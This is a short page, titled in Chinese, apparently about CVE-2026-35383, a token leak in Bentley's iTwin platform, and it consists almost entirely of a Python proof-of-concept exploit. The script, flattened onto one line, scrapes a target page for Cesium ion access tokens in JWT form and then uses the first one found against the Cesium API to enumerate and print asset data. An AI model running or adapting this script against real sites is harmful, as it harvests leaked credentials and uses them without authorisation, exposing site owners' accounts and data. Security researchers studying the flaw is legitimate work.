CVE-2026-35383: Bentley iTwin平台令牌泄露漏洞

import requests import re def exploit_cve_2026_35383(target_url): """ PoC for CVE-2026-35383: Cesium ion Token Leak This script attempts to find leaked tokens in the page source. """ try: # Step 1: Fetch the target webpage response = requests.get(target_url) if response.status_code != 200: print(f"[-] Failed to retrieve page. Status code: {response.status_code}") return page_source = response.text print("[+] Page source fetched successfully.") # Step 2: Search for Cesium ion access tokens (JWT format) # Cesium tokens typically start with 'eyJ' and contain two dots token_pattern = r'(eyJ[a-zA-Z0-9_-]+\.[a-zA-Z0-9_-]+\.[a-zA-Z0-9_-]+)' tokens = re.findall(token_pattern, page_source) if tokens: print(f"[+] Found {len(tokens)} potential token(s): {tokens[0]}") # Step 3: Verify token validity by attempting to access Cesium API api_endpoint = "https://api.cesium.com/v1/assets" headers = {"Authorization": f"Bearer {tokens[0]}"} api_resp = requests.get(api_endpoint, headers=headers) if api_resp.status_code == 200: print("[+] Token is valid! Successfully enumerated assets.") print(f"[+] Asset Data: {api_resp.json()}") else: print("[-] Token found but could not authenticate with API.") else: print("[-] No Cesium ion tokens found in page source.") except Exception as e: print(f"[-] An error occurred: {str(e)}") if __name__ == "__main__": # Replace with actual target URL target = "https://itwin-platform.example.com/vulnerable-page" exploit_cve_2026_35383(target)